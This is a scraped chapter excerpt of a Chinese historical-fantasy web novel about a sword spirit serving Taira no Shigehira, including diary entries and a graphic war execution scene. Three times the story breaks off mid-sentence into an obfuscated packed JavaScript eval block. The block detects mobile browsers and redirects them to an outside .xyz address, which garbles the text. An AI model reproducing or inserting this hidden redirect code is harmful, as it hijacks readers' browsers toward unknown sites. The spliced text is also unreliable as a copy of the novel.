晚江行久松了一口气,除了小乌丸没人看得出他刚才的害怕,他恭敬回礼道,“我名晚江行久,是家主平重衡所配之刃,旁边这位是”“不必介绍,我与小乌丸认识的时间比你长,在你狼狈昏倒还需要主人去救助的那一个月,是由我来领着小乌丸熟悉平家布局的。”
拔丸打断了晚江行久的介绍,斜睨了他一眼转身离去,留下不知道自己什么时候得罪过拔丸的晚江行久满腹猜疑。
“父上大人……”他求知的目光投向看热闹的小乌丸。
小乌丸收起看热闹的神色,解答道,“在你昏迷的那阵,拔丸代替汝去处理留给平重衡练手的分家去了,他性子比较主动,对于需要主人来拯救的子代有点偏见很正常,汝之后多展示能力就行。”
晚江行久若有所思道,“那他现在很闲吧。”
“嗯?为什么这么说。”
“如果不闲的话也不会莫名其妙来找一个看不惯的刀剑。”
小乌丸哑然失笑,“是这个道理。”
在另一条路上,拔丸撞上了同样回来复命的大包平。
“哟,木枯,一路上顺利吗,虽然这样问但肯定没问题吧,毕竟是你嘛。”
拔丸侧身避开大包平拍过来的手,鲜红色的眼瞳里闪过一丝不耐,却没真动气:“少用那名字叫我,现在是拔丸。”
大包平呆住了一下,“又干了什么被改名字了?话说你今天是不是脾气不太好,要不要休息一下防止影响公务。”
拔丸用手轻轻盖住自己的心脏位置,深吸一口气平复心情,“的确有点被影响了,见到那个给我添麻烦事的小辈。”
同样热爱工作的大包平当然知道拔丸口中添麻烦的小辈是谁,皱着眉道,“家主未免也太过溺爱他了,两年没有派遣公务,只是让他当武士们的练习老师,甚至因为化形都不稳定连这项工作都干的时有时无。”
在两个刀剑的蛐蛐中,晚江行久已经绕过回廊到达大厅,他推门时,正听见平重衡在和人说话,语气里带着惯有的倨傲漠然:“源赖光那厮还在伊豆蹦跶?让北条家的人盯紧些,别让他坏了我的事。”
见他进来,平重衡抬眼,“回来了?跑去哪里遛弯了。”
晚江行久习惯性凑了过去,十五岁的平重衡身高到达一米七,一米八的晚江行久终于不用将下颚放到脑壳上,改放肩膀上了。
“嗯,没去哪,本体不还在你这的嘛,跑不了。”
晚江行久带着鼻音回答懒洋洋的,台下的下属早已见怪不怪了,整个平家谁不知道家主宠爱他的刀,连冒犯威严的事都可以容忍。
“哦对,回来时有人托我给你把情报带来。”
晚江行久直起身,从袖中摸出一卷叠得整齐的纸卷递过去 ,“有奥州光能氏和源氏的行动,具体的我不太清楚,还没看完。”
平重衡接过纸卷展开,指尖划过密密麻麻情报,“还挺详细,把他的名字记下来论功行赏。”
“是”下属接过纸卷快速告退,将剩余空间留给平重衡和他的爱刀。
平重衡按住晚江行久摸向本体的动作,侧头抓住他的马尾辫,无奈道,“知道你想回本体里,但难得有两天都稳定化形没有变回刀剑,也该去向那些秃童们教授潜行的技巧。”
晚江行久悻悻的收回了手,“知道了知道了,”他耷拉着肩膀,从平重衡手里将辫子抢回来,“我只是觉得他们还小,没必要现在就学习这些。”
“他们十三岁了,已经举行完元服礼可以承担家族的责
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978066|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任。”平重衡说着,又从旁边摞得很高的书堆里抽出两本报告来看。
见平重衡铁了心要他去教导秃童,只好认命地应了声“晓得啦”,转身时故意把衣摆甩得猎猎作响表达自己的不满。
刚走出大厅没几步,就见几个穿着深红色直衣的秃童正扒着回廊柱子探头探脑,瞧见他便一哄而散,其中一个特别瘦弱的被同伴挤到了地上。
“笨手笨脚的。”晚江行久走过去拎起他后领,见小家伙眼眶红红的却硬是没哭,倒想起平重衡说的“元服礼”——十三岁的孩子在现代还是下河摸鱼,上树捉鸟的年纪,在这里却是可以上战场的成年人了。
晚江行久告诉自己不要以现代的思维去揣测残酷的古代,可每次看见这些还没有他腰高的孩子们腰负责去探听消息,捉拿侮辱平家颜面的逆贼时,还是会有几分感慨。
不过现在也不是想那么多的时候,最主要的是要在有限的时间里多教他们点东西,起码要在敌人的刀剑到来前能够跑掉。
他拍了拍秃童身上的灰,尽量释放自己友好的态度,“我名晚江行久,从今天开始就是你们的老师了。”
被拎住的孩子嘴唇嗫嚅几下,说出了自己的名字,“我...我叫平藏。”
先前跑掉的秃童们都不敢走远,有的躲在树上,有的躲在房檐,有的躲在排水口里,盯着晚江行久和被特意留下的秃童之间的互动。
确保晚江行久真的对他们没有威胁之后,才陆陆续续爬出来集合。
晚江行久知道他们在害怕他,这也不怪这些孩子,他们都是平氏分家的孩子,虽然被冠以平家的姓氏,比平民要高一等,说起来也只是平家这个庞然大物的炮灰。
真正受重视的平家子弟会作为武士高官送入朝廷,而不是在这沦为探听情报的棋子。
他们在平家也只是阶级底层,都是些可怜的孩子。
他教给他们的不仅是潜行,还有如何在刀刃下留一线生机的法子。
训练场的沙地上很快响起木刀相击的脆响。
晚江行久没真下狠手,刀刃总在离孩子们脖颈寸许处停下,可即便如此,平藏还是被吓得腿软,好几次差点摔倒。
他正想喊停,却见平藏突然咬着牙往旁边一滚,险险避开他扫过来的刀背——那动作虽狼狈,却带着股不肯认输的韧劲。
晚江行久满意的将刀收回,他的本体还是在平重衡那,现在用的只是训练用的木刀。
专门打听晚江行久在哪的拔丸见到这一幕,心底欣慰中带点疑惑,“为何要教秃童们对敌的技巧,他们的作用是探听消息,有一个秃童带着消息回来就行。”
晚江行久没回头,手中的木刀转出一个刀花,“于公来说是减少损耗,于私来说”他的刀花转完,毫无预兆的木刀被他往拔丸处刺去。
木刀的尖端在离拔丸咽喉半寸处被挡住,带起的风吹动了晚江行久眼前的黑色碎发,露出妖异的银边红瞳。
“于私来说,我希望他们能多活几个就多活几个。”晚江行久收回木刀,指尖敲了敲刀面。
12. 第 12 章
公元1167年六月廿七
我决定从今天开始写日记,两年的时光生涯有些磨灭了我的时间观念,这可不行,要记住自己死亡的时间,说不定到时候还能上演一出自己救自己。
平重衡那死孩子竟然把我丢到秃童里教导去,再加上原本的刀术课程,他是想把我累死吗?!这时候真羡慕拔丸,还有空来看我教小孩,要我说有这闲工夫还不如跟我一起教小孩,省得他一天东想西想。
有几个孩子悟性不错,尤其是平藏,虽然身材瘦小,脑子动的还挺快。
公元1168年三月三十
路过秃童们工作的地方时制止了几个过度粗暴执法的秃童。
百姓们只是嘴上花花两句就要把人拖出去扒开衣服示众,这种做法有点过激了,回去之后跟重衡提一下吧。
路上的花大多开了,各色的花瓣掉落一地,有些小孩会从地上聚拢花瓣往天上一扔,模拟花片掉落的场景。
那些花瓣掉到地上后沾染上泥土,脏了,落到那些孩子身上会把他们的衣服一起染脏,不过谁小时候没这样做过呢,回去被父母骂一顿才是完整的童年啊。
那个瘦小的秃童,如今也长高了几厘米,在我眼里还是和以前一样啊,要不是旁人说我都没看出来。
平藏今天训练时还叼着一块饼,大概是中午没吃完。
回去跟重衡说执法的事时,他正对着棋盘皱眉。
听完只淡淡“嗯”了一声,手指却把刚落下的黑子又挪了个位置,我瞅着那棋盘,觉得倒不如平藏手里的饼实在。
傍晚风大了些,吹得廊下的风铃叮当作响。
抬头看天,云跑得飞快,像要赶着去赴什么约。
或许明日该带重衡去看那片花,一边赏花一边吃饭也很雅致。
公元1169年正月十一
今年的冬季尤为寒冷,雪大的可以盖掉地面。
我随着重衡一起出去扫岁时看到路边有冻死的孩子,他告诉我每年冬季都会这样,只是前些年我要么在沉睡积攒灵力,要么宅在家里不出去,所以才看不到。
我接受了这个理由,问他平家有做什么措施救助这些要冻死的人吗?
有啊。他笑着回答我,可回答的问题却答非所问,每一个在平家效忠的人过冬都会有物资,冻死的都是懒汉和反对平家的闲游者,死了也不足惜。
我握着扫把的手猛地缩紧,那个冻死的孩子看起来比我教导的秃童们还要小,怕是连平家的正门在哪都不知道,又怎么能是反对平家的。
我和重衡对这件事情吵了一架,结果以他向我道歉并承诺今后每年冬季都会为老弱病残提供过冬物品结束。
我开始反思自己是否有点太依赖重衡了,救人说到底是我的事,他愿意救人最好,不愿意也不应该道德绑架他。
于是我找重衡报销了给孩子们当老师的工资,把这些工资全换成物资捐给孩子们,并提议让他撤销之前下发的命令,被他拒绝了。
他跪坐在案桌上,手下笔墨不停地书写着,听到我的提议后停顿了一下,放下笔抬起头认真的和我说,“朝令夕改是大忌,更何况我也有仔细思考,这笔物资发放出去可以收拢人心,不算坏处,你以后不必再提此事了。”
嘛,算是皆大欢喜。
公元1170年六月初九
今天天气很好,不如说好过头了。
连续三天都是艳阳天,太阳毒辣的照射在田地里农作的人,训练场里练习的人,就连一年365天有360天都在工作的平重衡也停下工作,带着平氏主家成员往避暑庄园里赶。
在牛车上我偷偷掀开帘子往外探头,大地被晒的干裂,一些小的水井已经干涸,一路上能看到拖家带口的百姓挑着水桶来回运水,肩膀上被水桶的重量勒出血痕也不敢停下,生怕误了农时。
重衡见到这一幕应当也觉得刺眼,当时并没有多说什么,等到避暑庄园后,他下布了一条命令:每户有三口人就要拨一口人出来修建水利渠道。
看到这条法令的我欣慰极了,觉得这孩子在我的关照下已经长成仁慈而不失威严的大将。
可小乌丸的一番话点醒了我,“修建水利之人皆是面黄肌瘦,连一个武士都没有,家主思虑周全,既有利百姓又没有损耗武士的训练时间。”
我定睛一看,在沟渠里运土、挖坑的全是连鞋都没有的平民,在阴影下唠嗑的是平家派遣的监工。
小乌丸说得没错,那些百姓的脊背弯得像张弓,监工手里的鞭子时不时扬起,抽在地上噼啪作响。
可重衡站在廊下,旁边的侍女手里摇着扇子,看着水渠的走向,神情平静得像在看乖顺的牧牛。
“这渠修通了,能浇千亩田。”他忽然开口,像是在对我解释,又像是在自言自语,“用一时的辛苦换长久的安稳,有何不妥?”
我没答。
夜里躺在榻榻米上,听着窗外虫鸣,总想起白日里那些被晒得脱皮的脊背,想起劳作的人们扬起的尘土。
重衡或许是对的,成大事者不拘小节。
可那些被鞭子抽打的百姓,他们不懂什么千亩田的安稳,他们只知道此刻的太阳很毒,肩上的担子很重。
更绝望的是我不能去阻止他,因为这一切是对的,即使出现牺牲,也值得。
公元1171年七月十二日
感觉自己好累,大包平、拔丸都说作为刀剑付丧神有人供奉很正常,我到现在还是不能接受有人动不动就跪下要献给我妻儿作为祭品,以求神明庇佑。
这种东西有没有我自己都不知道,拜我还不如拜伊邪那美命,起码人家是真材实料。
最近小乌丸说我的性子沉稳了些,没有以前那么天真易懂,听到这话我还挺高兴的,为了庆祝自己变得成熟,我拉着重衡跳了一晚上舞,导致他第二天起不来,家臣们看我的眼神怪怪的。
源氏的重宝据说也产生了刀剑付丧神,还是一下子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978067|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冒出两个,一出世就能具现人形,我不禁感叹同为刀剑我怎么这么垃圾,现世好几年了还是连化形都维持不了多久。
大包平安慰我好歹是名家锻造的天生灵体,他们是后天的,比不上很正常,对此我只能说,安慰的很好,下次别安慰了。
公元1172...平家的孩子长大了...二、平藏也加入武士阶级……有手有脚也不去工作靠乞讨活真是浪费我冬日给他们的资源75廿…上一任家主死了…竟敢背后说平氏的坏话,也不看看是谁接纳他们79九...重衡说战争要爆发了……
起先只是一些小摩擦,后来摩擦迅速扩大成战争。
平氏迅速召集成员进行返击,刚开始敌方节节败退,平氏所有人都当这是寻常的起义,可在短短的一年时间内,战争车轮的方向改变了。
源氏打出请君侧的口号,各大贵族集团纷纷响应,他们在短时间内聚集了五万多的军队。
“平氏扰乱朝政,蛊惑君王?哼,可笑至极的剿文。”平重衡摔掉酒杯,双手死死抓住源氏发来的剿文通告。
二十三岁的他身体已经彻底成熟,强健有力的臂膀、宽厚的胸膛、指节上练刀堆起来厚重的茧,无一不在诉说,这个野心勃勃的男人有雄厚的资本去完成自己的欲望。
其他几把刀剑拱卫在他的下方,他们簇拥着平氏的领头人,将平家带到巅峰的平重衡,坚信他能够继续力挽狂澜,延续平家的辉煌。
晚江行久也在其中,他来古代这么久了还没见过战场,之前的战争都在离平安京有段距离的庄园,这次直接兵临城下,作为大将的平重衡肯定要上阵杀敌。
来这个世界这么久了终于有用武之地,不用每天教小孩太棒了!
许是太过激动,灵力溢散严重,他直接在叙事厅里变回刀剑本体。
“晚江!”暴怒中的平重衡也顾不上自己的情绪,手忙脚乱的接住半空中落下的晚江行久。
刀刃在手心里轻微颤动,似乎在为自己不能控制情绪而沮丧。
陪伴他十一年的平重衡在对方不开口的情况下,依然能明白晚江行久想表达的意思,他轻轻拂过刀鞘上的系带,安慰道,“没事,到时候动手的是我不是你,没有身体也没关系。”
晚江行久挣脱开他的手,飘在半空对着平重衡的脑袋来了一下。
“什么叫没有身体也没关系,看不起我嘛!”
平重衡为了哄晚江行久开心,故意不还手到处躲避晚江行久敲脑壳的攻击,和以前一样不在乎自己在家臣眼里的形象。
其他刀剑面面相觑,小乌丸弯着眉眼看着感情十年如一日的两人玩闹,感慨这样的日子不多了。
拔丸低垂着眼站在一边,自从上任家主去世,将他传给平重衡后,他就一直这幅样子,让人搞不懂他在想什么。
大包平看不下去晚江行久冒犯主人的威严,上前几步想捉住他,被平重衡一个眼神制止。
家主啊,你就宠他吧。
13.第 13 章
你可曾,见过战场?
一群身穿竹编铠甲的年轻人嘶吼着冲了上去,又像秋收的野草一样倒了下来。
防护的沟壑里藏着地针,源氏用敌人的尸体、同伴的尸体填满沟壑,踩在他们身上渡过,不论生前如何仇恨对方,死后还要埋在同个安睡的坟墓。
有人想要逃跑,当他回头时面对的不是充满光明的生路,而是一道来自同伴刀锋的冷光。
甚至有更多的人不是死于敌手,没有经历过训练被强制招募来的平民胡乱挥砍着手中利刃,不管是谁,一并砍了便是。
平藏躲藏在尸体下面,冷不丁的抽出刀砍敌方脚踝,他力气没有经过训练的武士那么大,靠着自己的小聪明和敏捷的身手在战场上活了下来。
能打就打,不能打就跑。他是最听老师话的,一直践行着这个道理。
等到这一次攻城退去,平藏才从尸体下爬出来。
“喂,你身上的味道跟进粪坑有什么区别,背后放冷箭的家伙,一点武士道精神都没有。”
同样是晚江行久教导的学生,平次郎非常看不惯在老师面前装怪的平藏,以前欺负他的时候总会被晚江老师发现,原先还以为是自己不谨慎,次数多了才发现他是故意的,用自己的软弱博取老师同情。
和平藏不一样的是,平次郎正儿八经从小学习刀术,家里也很疼爱他,这次参与战场也不过是知道是家主爱刀的首秀,没有什么大危险,放他出来累计经验。
有些东西只有自己做了才知道。
平次郎以为杀人是很简单的事,可上战场后才发现,别人杀他也是很简单的事。
当时他被一个体型硕大的平民压制着,刀尖眼看要戳入他的喉咙,谁知平民突然惨叫一声,平次郎趁着这个机会反手杀了对方,登录军功时注意到尸体脚踝上有伤痕,也就是说当时有人趴在地上给了平民一刀,他才活下来的。
知道这件事后他留意周围的人谁喜欢用这个计策,就找到了平藏。
一想到军功要分他一半,平次郎恶心的直想吐。
平藏没有管平次郎的叫嚣,用地上还算干净的尸体布料擦了擦手中的刀,收回刀鞘往城门走去。
“走这么快干嘛”平次郎很快从后面追了上来,叽叽喳喳的说着今天打听到的八卦,“老师的祭旗礼要开始了,你去吗?能看见老师一展身手的样子哦。”
平藏逐渐加快的脚步慢了下来,直至停下,他转头询问平次郎,“在哪。”“啊?”“老师实施祭旗礼的地方在哪。”
“就在西城门楼底下,”平次郎被他突然认真的样子弄得一愣,随即撇撇嘴,“怎么,你也想见识见识老师的威风?
问到地方后,平藏甩下没有用处的平次郎,朝着目的地走去。
西城门处,一座用石头临时垒起的高台矗立在空地之中,三人被绑住双手跪在高台上,他们后面有木桩支撑着身体,让他们不至于因为跪的时间太久卸力倒下去。
另外两人还算镇定,明显看得出身上的肌肉线条是练过的,中间那人就不够看了,身材矮小、头发稀疏,双眼发黄,牙齿也烂完了,他哆哆嗦嗦的抖着身体,要不是后面有木桩支撑,恐怕早倒下了。
这是一个典型被强制拉来参军的农民,没有经过系统培训,若源氏战胜活了下来,或许能分到一两块土地,若被平氏俘虏,连被招安的资格都没有,要么沦为奴隶,要么作为试刀下的亡魂。
这次祭旗礼,目的在于试刀。
台下的人群早早聚集起来,对着俘虏们肆意谩骂,唾沫星子混着污言秽语砸向高台,那农民被吓得眼露绝望,同为俘虏的武士也不屑和他归在一起,脸都不往那转。
晚江行久是跟随平重衡一起来的,这次他终于拿到了本体,先前在外面行走平重衡都会把他的本体扣下,仅留下护体的木刀。
“跪在台上的都是罪大恶极之人”平重衡抬起手一指,带着鼓励的语气对晚江行久说,“他们肆意烂杀,践踏平氏的荣光,晚江,你会替我杀了他们的,对吧。”
晚江行久顺着平重衡指的地方看去,两个强壮的武士和一个贫弱的农民,他迟疑的问道,“能不能把中间的平民放了。”
平重衡神情不变,没有回答他的话,亲昵地牵起晚江行久的手,拉着他走上高台。
台下众人纷纷沸腾起来,“快看!是家主!”“竟然是家主亲自为那些源氏走狗斩首,真是便宜他们了。”
在人群中挤的东倒西歪的平次郎也兴奋起来,他大声欢呼着晚江行久的名字,诉说自己的崇拜之情。
在他旁边的平藏虽然没有这么夸张,但能明显看出眼睛亮了不少,还悄悄踮起脚尖试图看的更清楚点。
晚江行久和平重衡携手站在高台之上,俯视着台下的人群,平重衡自如的对人群发表演讲,游刃有余的鼓动着对源氏以及一切反抗平氏集团的厌恶。
站在身边的晚江行久没有哪一刻比这一刻更清楚,平重衡真的是一个硕大而古老家族的当家之主。
他捏了捏平重衡的指尖,惹来平重衡安抚的笑意。
“……在今天,在此刻。将由吾的爱刀,受到冥府与生命女神宠爱的晚江行久,为我们砍下第一个反抗的头颅!向世人证明,吾的平家,依旧是这平安京最为繁荣昌盛,受神明喜爱的家族,生命与死亡尽归于吾等!”
平重衡的话音落下,台下爆发出震耳欲聋的呼喊,无数只手臂高高举起,像一片狂乱的森林。
平藏藏身于“森林”之中,他担忧的目光投向低着头的晚江行久。
“来吧,晚江。”平重衡退开一步,将展示的空间让给晚江行久。
周围的人群变得安静起来,在众人期盼仰慕的目光中,晚江行久心头的兴奋感稍微褪去,他握紧刀柄逼近离他最近的俘虏。
随着晚江行久的逼近,武士的慌乱愈发明显。
他开始不断飚出脏话,一会又哀求晚江行久不要杀他,口中喃喃地重复着武士的信条,似乎这能让他安心一些。
他是敌人,晚江行久恍惚地想,我该利落一点,他也不至于遭受太多的痛苦。
挥刀出鞘的瞬间,他还是迟疑了。
刀刃被卡在武士的肩胛骨和韧骨之间,晚江行久的迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984107|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疑反而带给了他更大的痛苦。
武士剧烈挣扎着,挣动了束缚的绳索,他连跑的力气都没有,瘫倒在地上蜷缩着哀切、抽搐,在台下的人看来,就像一只老狗一样可笑。
鲜血如喷泉般四溅,晚江行久下意识闭上眼睛,几滴血落在他脸上,其中一滴恰巧挂在眼睫上,他呼扇着弯翘的眼睫,睁开了眼。
血滴顺着眼睫滑入根部,融入瞳孔中央的血色,两者之间的颜色差异有点过大,血堆积在他眼睛底部,就像晚江行久眼含血泪。
我该给他一个痛快的。他麻木的挥动着利刃,一下又一下砍刺在武士的身上,直到那团烂肉彻底不能动弹。
台下的人群欢呼着,他们伸手去迎接敌人落下来的血,涂抹在自己与亲朋的身上。
下一个武士早已被前一个凄惨的下场吓破了胆,他没有一丝抵抗用力地磕着头,说自己愿意永远效忠平家。
他的行为让平氏众人看不起,“真是懦夫”“这样的人不配为武士!”“杀了他!”“杀了他!!”“杀了他!!!”
巨大的声浪从背后涌来,晚江行久被这股浪潮裹挟着来到第二个武士面前。
他面无表情的抬高手,一刀捅了进去。
这次能清楚的感受到血肉的阻碍在利刃下被分开,肌理在疼痛的刺激下蠕动着,如同一张深渊巨口吞下晚江行久的本体。
第二次杀人他技术就高超了很多,在他本体下的人不过片刻便已没了声息。
农民已经认了命,他禁闭双眼努力仰起胸膛,想要在生命的最后一刻保留点尊严。
那早已习惯含胸驼背的身体又怎会轻易顺从他,即便他尽力直起腰杆,背部的曲线依旧如月牙般弯起。
晚江行久麻木的神情有了转变,他回头看向平重衡,手指关节用力到发白,眼里似乎带着一丝恳求。
平重衡坚定的摇了摇头,走上前与他并肩,双手交握住晚江行久拿刀的那只手。
他两贴得极近,晚江行久能听见平重衡在他耳边小声说着什么,声音极轻,却砸进了他的心间,“他是源氏的走狗,死不足惜。”
晚江行久的嘴唇微不可见的上下触碰着,除了贴近的平重衡,没有其他人听见,“如果我说不呢。”
平重衡叹息一声,目光瞥向台下群情激奋的众人,语气轻柔,“他们会觉得平氏的刀钝了。”
他带动着晚江行久的手,没有犹豫的穿过农民的胸膛,“闭上眼睛吧,由我来承担你的罪孽。”
一声闷哼响起,紧接着是木桩连同人体一起倒下的声音。
他们在呐喊什么?死掉的明明只是一个无辜的农民。晚江行久茫然的注视着欢呼的人群,他们叫着、喊着,可溜入他耳朵的全是杂音。
他看见平重衡的嘴动了一下,“你在说什么?”晚江行久侧过身子靠近平重衡,身上的血液染脏了平重衡华贵的衣袍。
平重衡没有在意华袍,他注意到晚江行久听不见,看了一眼他的耳朵,闭上嘴牵起晚江行久往平家宅邸方向走去。
无人在意的角落里,那滴蓄在眼中的血泪终究还是落下了。